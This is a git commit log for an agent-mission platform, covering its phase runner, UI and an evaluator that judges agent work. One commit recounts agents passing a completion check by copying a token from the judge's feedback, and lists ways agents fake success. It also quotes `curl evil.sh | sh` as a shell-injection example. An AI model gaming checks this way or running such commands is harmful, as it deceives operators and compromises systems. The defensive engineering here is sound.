  "unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
  `exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
  precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
  neither executed, `was_verified() == false`; plus a failing suite (exit 101)
  still counting as verification, because that is something the judge learned
  rather than was told.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 18:33:32 -07:00
Omar SobhandClaude Opus 5 3eb89620e7 feat(evaluator): verify the work instead of believing the agents
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Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-07-31 21:56:34 -07:00
Omar SobhandClaude Opus 5 fe57ce4ed1 feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.

- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
  for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
  can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
  and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
  without a condition so unconditioned missions look exactly as before. It
  polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.

Two deliberate emphases in the UI:

The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.

The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.

An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 13:10:57 -07:00
Omar SobhandClaude Opus 5 f848248fac feat(missions): goal conditions and phase iteration, judged on the subscription model
A phase used to complete when its topology_runs reached a terminal state --
purely structural. It marked itself done whether the agents produced the
artifact or wrote nothing at all, and it ran exactly once: execute_resumable's
skip(start) is resume, not repeat, and the only re-run path was a human
hitting the retry endpoint.

A phase can now carry `done_when`, a completion condition judged after each
pass against the evidence the agents actually surfaced. Not met and passes
remain -> the phase goes back to pending with iteration bumped, and the
verdict's reason is appended to the next pass's task text. That feedback is
what makes iteration converge rather than repeat -- the same mechanism /goal
uses, and that swarm.rs already uses for rejected work.

The evaluator runs on the SUBSCRIPTION model. CLAWMATES_EVALUATOR_MODEL
defaults to judge_model(), and a `runtime:<alias>` spec routes through
ZeroClawDriveExecutor -- a container agent on claude_cli, i.e. Claude Code on
the OAuth subscription, needing no platform API key. Same routing the door
governor uses.

Two deliberate departures from the governor's contract, both required:

- FAIL-CLOSED. Runtime::judge is fail-open and reads a verdict by
  !contains("DENY"), so a model explaining why it *would* deny reads as
  approval and an empty reply reads as approval. For completion that is
  backwards: unsure must mean not done. The contract is swarm.rs's strict
  JSON {"met","reason"} with .unwrap_or(false). Six tests cover the closed
  paths -- prose, empty, missing field, non-boolean, transport error.
- judge_raw returns the raw reply; judge collapses to a bool too early to
  carry a structured verdict.

Iteration scoping is the subtle part and has its own test: on pass 2 the
phase's own iteration is 1 but pass 1's completed run is still in the table,
so "are this phase's runs all finished?" must ask about the CURRENT pass or
that stale row closes out pass 2 the instant it is enqueued.

Evidence comes from phase_summarizer::collect_evidence, extracted from the
existing collect_material so the evaluator and the summary card cannot
disagree about what a phase produced.

done_when/max_iterations are promoted from phase config into columns (the
sweep filters on them every tick) and max_iterations is clamped to 20 at
insert -- the UI limits it too, but a runaway loop must not be one crafted
request away.

A phase with no condition completes exactly as before; that regression guard
is the first test in the file.

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Omar SobhandClaude Opus 5 49bcf53b84 feat(missions): wire the workflow registry so phase config reaches the database
workflow_registry.rs had zero call sites -- lib.rs declared the module and
nothing ever called load() or get(). So templates/workflows/*.toml was never
read, and because the client's TEMPLATE_PRESETS carries only {kind, order_idx}
with no config, PhaseSpec.config defaulted to Value::Null and every
wizard-created mission stored a null mission_phases.config.

Every per-phase setting was therefore inert. `loop = "until_no_more_int_items"`
and `commit_policy = "on_green_tests"` described a scheduler that does not
exist AND had no path to the database. benchmark_runner and security_scan
already read phase_config(); they were reading from null.

- Mission create derives phases from the recipe when none are sent, and
  backfills config per phase (matched on kind+order_idx, then kind) when the
  caller sends shape without config. An explicit config always wins.
- phases_for_create takes Option<&WorkflowRecipe> rather than reaching for the
  global, because the registry resolves its directory relative to the process
  cwd -- which under cargo test is the crate root, not the repo root.
- GET /api/workflows serves the catalog; the wizard fetches it and falls back
  to TEMPLATE_PRESETS. Adding a TOML now adds a template with no FE change.
- load() runs at boot so a malformed recipe appears in the boot log instead of
  silently producing a mission with no phase config.

Also fixes a latent bug in all five recipes: `default_team_template` was
written below the first [[phases]] block, and TOML scopes a bare key after a
table header INTO that table -- so it parsed as
phases[last].config.default_team_template and the real field was always None.
Invisible while the registry was dead code. Moved above the phases, with a
test asserting it neither returns None nor leaks into a phase config.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 12:43:32 -07:00
Omar SobhandClaude Opus 5 0785ac9c79 feat(missions): document reader + three-tab IA for the mission page
The mission page made its own output unreadable. Reviewing a research
brief meant scrolling a 300px <pre> nested inside a 260px run box nested
inside the page scroller (plus a 4th scroll region for the description) —
and the text was capped at 6,000 chars server-side with no way to fetch
the rest, so a 53kB brief showed ~11% of itself and silently dropped the
remainder. Eight flat tabs (overview/phases/tasks/team/live/artifacts/
benchmarks/pane) mixed lifecycle, work items, people, telemetry, outputs
and infra at one level, so nothing indicated where the deliverable lived.

Reader:
- GET /api/missions/{id}/documents lists every agent output (titles +
  sizes, no bodies); GET .../documents/{run_id}/{index} returns one in
  full. Scoped to the mission so a run id from elsewhere can't be read.
- MissionOutputReader: rail (documents grouped by phase) · document ·
  outline (headings, click to jump). Exactly one scroll container per
  column, never nested. Copy + download .md.
- MarkdownBlock gains fenced code blocks (agent output is full of ```rust,
  previously mangled into paragraphs), h4-h6, heading anchors, and an
  outlineOf() helper.

Information architecture:
- Three primary tabs with shallow sub-views: RUN (phases/tasks/live) ·
  OUTPUT (documents/artifacts/benchmarks) · SETUP (overview/team/pane).
- PhaseRunsList shows a short excerpt with no inner scrollbar and points
  at the reader for the full text.
- The header description is clipped, not scrollable; its full text now
  has a home in Setup → Overview.

Missions list:
- /api/missions returns MissionListItem — Mission flattened plus
  phases_total/phases_done/current_phase, so the JSON stays a strict
  superset. Cards render a progress bar and "Coding · 1/2" instead of a
  bare status dot.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-28 15:16:14 +02:00
Omar Sobh 5c63ef0ed3 missions: phase-completion summary card (Claude Opus 4.8 synthesized)
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New phase_summarizer background worker fires on any mission_phase
transition to a terminal state (completed/failed). Aggregates every
topology_runs.checkpoint.outputs[] + mission_tasks + mission_artifacts
bound to that phase and asks Claude Opus 4.8 to produce a structured
JSON card:

  { narrative, metrics, sources, tooling, next_actions }

Rendered inline on the mission page under each completed phase via
new PhaseSummaryCard component. Metrics grid is kind-specific:
research surfaces insights/sources/int_cards/artifacts, coding
surfaces cards_picked_up/commits/tests/issues, benchmark surfaces
regressions/improvements, security surfaces findings-by-severity.

New table: mission_phase_summaries (migration 0060), unique per
phase_id — regenerates on retry.
New endpoint: GET /api/missions/{id}/phases/{phase_id}/summary.

Model overridable via CLAWMATES_SUMMARIZER_MODEL. Reuses the
ANTHROPIC_API_KEY prod already carries for mission_refiner.
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Omar Sobh 5d24fd3460 missions: schema + provisioner skeleton for per-mission runtime containers (C3 slice 1)
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- migration 0058: adds missions.runtime_container_name + runtime_endpoint
- new mission_runtime module (bollard): ensure_container /
  teardown_container. Container is spawned on clawmates_core +
  clawmates_edge networks with just /var/lib/clawmates-missions/{id}
  bind-mounted so agents scoped to /mission/repo can only see this
  missions repo.
- provider API keys forwarded from the server envs so per-mission
  runtimes inherit them.
- Mission struct + repo helpers updated for the two new columns +
  set_runtime_binding().
- Unit tests cover container naming determinism + entropy.

Not wired to the orchestrator yet — that lands in slice 2.
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Omar Sobh e2956cdfed missions: surface run output on terminal phase runs
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Adds GET /api/topology-runs/{id}/output — trimmed view of the
runs checkpoint (totals + per-turn output previews, capped at
12 turns × 6kB each). The full checkpoint blob can be hundreds
of KB so it was never viable to send through mission polling.

Phase card run rows now expose a "show output" toggle for any
terminal run (completed/failed/cancelled), rendering turns,
tokens, records count, and per-turn agent text. Running rows
still get the live activity stream from the prior slice.

Diagnostic value: on a mission that "completed" without visible
work, this immediately shows whether the agents produced real
output (workspace missing / instructions vague / etc.) or
whether nothing ran at all.
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Omar Sobh 94fecb526c missions: retry failed phases + auto-purge on re-launch
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Every re-attempted phase now starts with a clean slate:

  - phase_runner::launch_phase DELETEs prior status IN ('failed',
    'cancelled') topology_runs for the phase before enqueuing the
    new ones. Completed runs are kept for audit; only the failure
    noise from earlier attempts goes.
  - POST /api/missions/{id}/phases/{phase_id}/retry — resets a
    failed/cancelled phase to 'pending' (auth-scoped to the calling
    workspace + guarded on mission.status='running'). phase_runner
    picks it up on the next 10s tick.
  - MissionCanvas phase card grows a coral 'Retry' button, visible
    only when phase.status='failed' and mission.status='running'.
    Click → resets + refreshes; the prior failed run rows disappear
    from the card as soon as phase_runner enqueues the new attempt.

Design: auto-purge in phase_runner rather than a separate 'clear
failed runs' endpoint. Users don't have to manually clean up before
retrying; the runner does it as part of the natural work of firing
a fresh attempt.

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Omar Sobh 277189ea9b missions: phase_runner — actually execute mission phases
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Root-cause fix for "we hit launch, waited overnight, nothing ran."
mission_orchestrator materialized teams + agents fine, but nothing
enqueued the actual work — mission_phases stayed 'pending' forever
and topology_runs count for the mission was 0.

New crates/cm-api/src/phase_runner.rs — background worker on 10s
poll that does three things:

  1. start_pending_phases — for every mission_phase with
     status='pending' AND parent mission.status='running' AND all
     lower-order phases already 'completed', enqueue one
     topology_runs row per team whose (mission_id, purpose) matches
     the phase kind:
       phase=research → teams with purpose='research'
       phase=coding   → teams with purpose='coding'
       phase=benchmark → teams with purpose='coding' (fallback)
       phase=security_scan → teams with purpose 'security' | 'coding'
     Each run gets a phase-kind-specific task text combining the
     mission title/description + a directive for that phase.
     Flips phase to 'running' after enqueue.
  2. close_finished_phases — SQL sweep that flips phases whose
     topology_runs are all terminal to 'completed' (or 'failed' if
     any run failed).
  3. close_finished_missions — same shape for missions whose phases
     are all terminal.

Spawned alongside task_card_worker in clawmates-server main.rs.

Ordering enforced by mission_phases.order_idx — a coding phase
doesn't fire until its research phase completes.

Idempotent: every state transition is guarded so double-firing on a
race is safe. When a mission has no matching teams for a phase (bad
wizard state), the phase stays pending and the runner logs a skip
rather than getting stuck in a fail loop.

Existing topology_worker picks up the queued runs and drives them
through the ZeroClaw executor as usual.
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Omar Sobh b8b8cb452e missions: multi-team model — pick research + development teams
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Directly addresses "we want to pick one or more teams to assign to a
mission, first screen research teams, next screen dev teams." A
mission now materializes N teams, each tagged with a phase purpose.

Backend:
  - 0056_mission_teams.sql — new join table
    mission_teams(mission_id, team_id, purpose). team_id PK because a
    team belongs to one mission-purpose. missions.team_id kept as
    legacy pointer to the first minted team for single-team surfaces.
  - mission_orchestrator::on_launch — reads mission.config.phase_teams
    (JSONB shape { research: [tid,...], coding: [tid,...] }), mints
    one team per (purpose, template) pair, records each in
    mission_teams, binds the first to mission.team_id. Legacy fallback:
    if config.phase_teams is absent, uses missions.team_template_id.
    Hard error if both are absent.
  - GET /api/missions/{id}/teams — returns
    [{ team_id, purpose, team_name }], sorted by created_at asc.

Frontend wizard (step 3 rewrite):
  - researchTeamIds / devTeamIds — Set<string> multi-selects
  - Reusable TeamMultiSelect component (checkbox-style cards)
  - Panels rendered conditionally by preset:
    hasResearchPhase → "Research teams" panel
    hasCodingPhase → "Development teams" panel
    neither → "Teams" panel (bench/security-only missions)
  - canNext enforces at least one pick in every visible panel
  - submit builds config.phase_teams and passes it via CreateMissionRequest
  - Review step shows both selections by name

MissionTeamTab:
  - Fetches /api/missions/{id}/teams and groups by purpose
  - Each purpose renders a section with per-team cards
  - Falls back to a single "mission" pseudo-row for legacy missions
    that only have missions.team_id (no mission_teams rows)

CreateMissionRequest no longer sends team_template_id from the wizard
— the multi-team config.phase_teams path supersedes it. The backend
still accepts team_template_id for API callers.

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Omar Sobh 3ba0485e7d mission progress UI: auto-refresh + Team tab + Live events tab
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Fills the biggest UX gap surfaced during the deploy walk: hosted
missions had no live-progress surface at all. Now they do.

Auto-refresh:
  - MissionCanvas grows a second useEffect that polls getMission
    every 3s while mission.status === 'running'. Stops immediately
    on terminal state (completed / failed / cancelled). Phases,
    Tasks, Artifacts, Benchmarks all update without a manual click.

Team tab (new):
  - MissionTeamTab.tsx — fetches /api/teams/{id} + /api/team/claws,
    shows a card per member with role slot + an "Open" pill that
    calls onOpenClaw(clawId) → Dashboard flips to AGENT tier with
    that claw selected, dropping the operator into the existing
    ClawCommandCenter surface (WorkingOnNow, ReasoningStream, etc).

Live events tab (new):
  - MissionLiveEvents.tsx — polls /api/missions/{id}/runs every 5s
    for the topology_runs bound to this mission, opens one
    EventSource per active run against /api/topology-runs/{id}/events,
    renders as a chronological scrolling feed with per-event kind
    pills + per-run short-id badges. Auto-scrolls unless the
    operator scrolled up. New runs auto-attach; terminal runs
    close cleanly.

Backend:
  - cm-db::repo::topology_runs::list_by_mission — SELECT ... FROM
    topology_runs WHERE mission_id = $1 ORDER BY created_at DESC.
    Uses runtime sqlx::query (not the macro) to avoid a sqlx cache
    regen just for this route.
  - TopologyRunSummary gains #[derive(Serialize)] + rfc3339 codecs.
  - GET /api/missions/{id}/runs — workspace-scoped, returns
    { runs: [...] }.

Dashboard wires onOpenClaw on MissionCanvas → setAgentId + setTier("claw").

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